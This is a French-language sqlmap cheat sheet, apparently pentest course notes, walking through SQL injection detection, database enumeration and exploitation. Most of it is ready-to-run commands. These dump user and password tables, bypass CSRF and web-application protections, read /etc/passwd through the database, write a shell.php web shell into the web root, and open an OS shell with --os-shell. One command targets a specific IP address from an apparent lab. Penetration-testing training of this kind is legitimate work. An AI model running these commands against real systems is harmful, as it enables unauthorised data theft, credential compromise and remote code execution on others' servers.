Apercu de SQLMAP
SQLMap est un outil de test d’intrusion (penetration testing) gratuit et open-source écrit en Python qui automatise le processus de détection et d’exploitation des failles d’injection SQL (SQLi).
Utiliser le fichier avec sqlmap :
sqlmap -r requete.txt --dump --batch
--dump : c’est l’option qui extrait (exfiltre) le contenu des données. Une fois que sqlmap a confirmé une injection SQL, --dump récupère et affiche les lignes de la base — typiquement le contenu d’une table (utilisateurs, mots de passe, etc.)
--batch : ça dit à sqlmap de ne jamais te poser de question et de prendre à chaque fois la réponse par défaut.
Exécuter SQLMap sur une requête HTTP
SQLMap dispose de nombreuses options et commutateurs qui peuvent être utilisés pour configurer correctement la requête (HTTP) avant son utilisation.
‘un des moyens les plus simples et les plus efficaces de configurer correctement une requête SQLMap pour une cible spécifique (c’est-à-dire une requête web avec des paramètres) est d’utiliser la fonctionnalité Copier comme cURL du panneau Réseau (Moniteur) dans les Outils de développement de Chrome, Edge ou Firefox :
sqlmap 'http://www.example.com/?id=1' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0' -H 'Accept: image/webp,*/*' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'DNT: 1'
Requêtes GET/POST
sqlmap 'http://www.example.com/' --data 'uid=1&name=test'
sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'
Requêtes HTTP complètes
ous pouvons soit copier manuellement la requête HTTP depuis Burp et l’écrire dans un fichier, soit faire un clic droit sur la requête dans Burp et choisir Copier dans un fichier. Une autre façon de capturer la requête HTTP complète serait d’utiliser le navigateur, comme mentionné précédemment dans cette section, et de choisir l’option Copier > Copier les en-têtes de la demande.
sqlmap -r req.txt
## cookie
sqlmap -u "http://154.57.164.73:30367/case3.php" --cookie="id=1" --level 2 --batch -p id
Gérer les erreurs de SQLMap
Nous pouvons rencontrer de nombreux problèmes lors de la configuration de SQLMap ou de son utilisation avec des requêtes HTTP.
Afficher les erreurs
Nous pouvons rencontrer de nombreux problèmes lors de la configuration de SQLMap ou de son utilisation avec des requêtes HTTP. La première étape consiste généralement à utiliser l’option –parse-errors, pour analyser les erreurs du SGBD (Système de Gestion de Base de Données) (s’il y en a) et les afficher dans le cadre de l’exécution du programme :
Stocker le trafic
sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt
Utilisation d’un proxy
Enfin, nous pouvons utiliser l’option –proxy pour rediriger tout le trafic via un proxy (MiTM) (par exemple, Burp). Cela acheminera tout le trafic de SQLMap via Burp, afin que nous puissions ensuite examiner manuellement toutes les requêtes
Préfixe/Suffixe Dans de rares cas, non couverts par une exécution standard de SQLMap, des valeurs de préfixe et de suffixe spéciales sont nécessaires. Pour de telles exécutions, les options –prefix et –suffix peuvent être utilisées
sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"
Exemple
sqlmap -r req.txt --batch --level 5 --risk 3 --prefix='`)' --dbs
Niveau/Risque
Par défaut, SQLMap combine un ensemble prédéfini des délimiteurs les plus courants (c’est-à-dire des paires préfixe/suffixe), ainsi que les vecteurs ayant une forte probabilité de succès en cas de cible vulnérable.
Pour de telles exigences, les options –level et –risk doivent être utilisées :
L’option –level (1-5, par défaut 1) étend à la fois les vecteurs et les délimiteurs utilisés, en fonction de leur probabilité de succès (c’est-à-dire, plus la probabilité est faible, plus le niveau est élevé). L’option –risk (1-3, par défaut 1) étend l’ensemble des vecteurs utilisés en fonction de leur risque de causer des problèmes côté cible (c’est-à-dire, risque de perte d’entrées dans la base de données ou de déni de service (denial-of-service)).
sqlmap -u www.example.com/?id=1 -v 3 --level=5
Quant au nombre de charges utiles, par défaut (c’est-à-dire –level=1 –risk=1), le nombre de charges utiles utilisées pour tester un seul paramètre peut aller jusqu’à 72, tandis que dans le cas le plus détaillé (–level=5 –risk=3), le nombre de charges utiles passe à 7 865.
sqlmap -u www.example.com/?id=1 --level=5 --risk=3
sqlmap -r req.txt --batch --technique=U --union-cols=5 --hex --dbs
Énumération de la base de données
L’énumération représente la partie centrale d’une attaque par injection SQL (SQL injection), qui est effectuée juste après la détection réussie et la confirmation de l’exploitabilité de la vulnérabilité SQLi ciblée
Énumération des données de base de la BDD
L’énumération commence généralement par la récupération des informations de base :
- La bannière de version de la base de données (option –banner)
- Le nom de l’utilisateur actuel (option –current-user)
- Le nom de la base de données actuelle (option –current-db)
- La vérification si l’utilisateur actuel a les droits DBA (administrateur) (option –is-dba)
sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba
Énumération des tables
en spécifiant le nom de la table avec -T users
sqlmap -u "http://www.example.com/?id=1" --tables -D testdb
Énumération des tables/lignes
ous pouvons spécifier les colonnes (par exemple, uniquement les colonnes name et surname) avec l’option -C
Pour limiter les lignes en fonction de leur(s) numéro(s) d’ordre dans la table, nous pouvons spécifier les lignes avec les options –start et –stop (par exemple, commencer à la 2e entrée et s’arrêter à la 3e),
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --start=2 --stop=3
Énumération conditionnelle
S’il est nécessaire de récupérer certaines lignes sur la base d’une condition WHERE connue (par exemple name LIKE ‘f%’), nous pouvons utiliser l’option –where,
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"
Énumération complète de la BDD
Au lieu de récupérer le contenu table par table, nous pouvons récupérer toutes les tables de la base de données qui nous intéresse en omettant complètement l’utilisation de l’option -T (par exemple, –dump -D testdb). En utilisant simplement l’option –dump sans spécifier de table avec -T, tout le contenu de la base de données actuelle sera récupéré. Quant à l’option –dump-all, elle permet de récupérer tout le contenu de toutes les bases de données.
Dans de tels cas, il est également conseillé à l’utilisateur d’inclure l’option –exclude-sysdbs (par exemple, –dump-all –exclude-sysdbs), qui demandera à SQLMap d’ignorer la récupération du contenu des bases de données système, car celles-ci présentent généralement peu d’intérêt pour les pentesters.
Énumération du Schéma de la BDD
Si nous voulions récupérer la structure de toutes les tables afin d’avoir une vue d’ensemble complète de l’architecture de la base de données, nous pourrions utiliser l’option –schema
sqlmap -u "http://www.example.com/?id=1" --schema
Recherche de Données
sqlmap -u "http://www.example.com/?id=1" --search -T user
Énumération et Craquage de Mots de Passe
Une fois que nous avons identifié une table contenant des mots de passe (par ex. master.users), nous pouvons récupérer cette table avec l’option -T
Contournement des protections des applications web
Dans un scénario idéal, aucune protection ne sera déployée du côté de la cible, ce qui n’empêchera pas une exploitation automatique.
sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"
sqlmap -r req.txt --batch --randomize=uid --dbs
Exploitation de l’OS
SQLMap a la capacité d’utiliser une injection SQL (SQL Injection) pour lire et écrire des fichiers depuis le système local en dehors du SGBD.
Vérification des privilèges DBA
sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba
lecture des fichiers locaux
sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"
Ecriture
sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"
Exécution de commandes
sqlmap -u "http://www.example.com/?id=1" --os-shell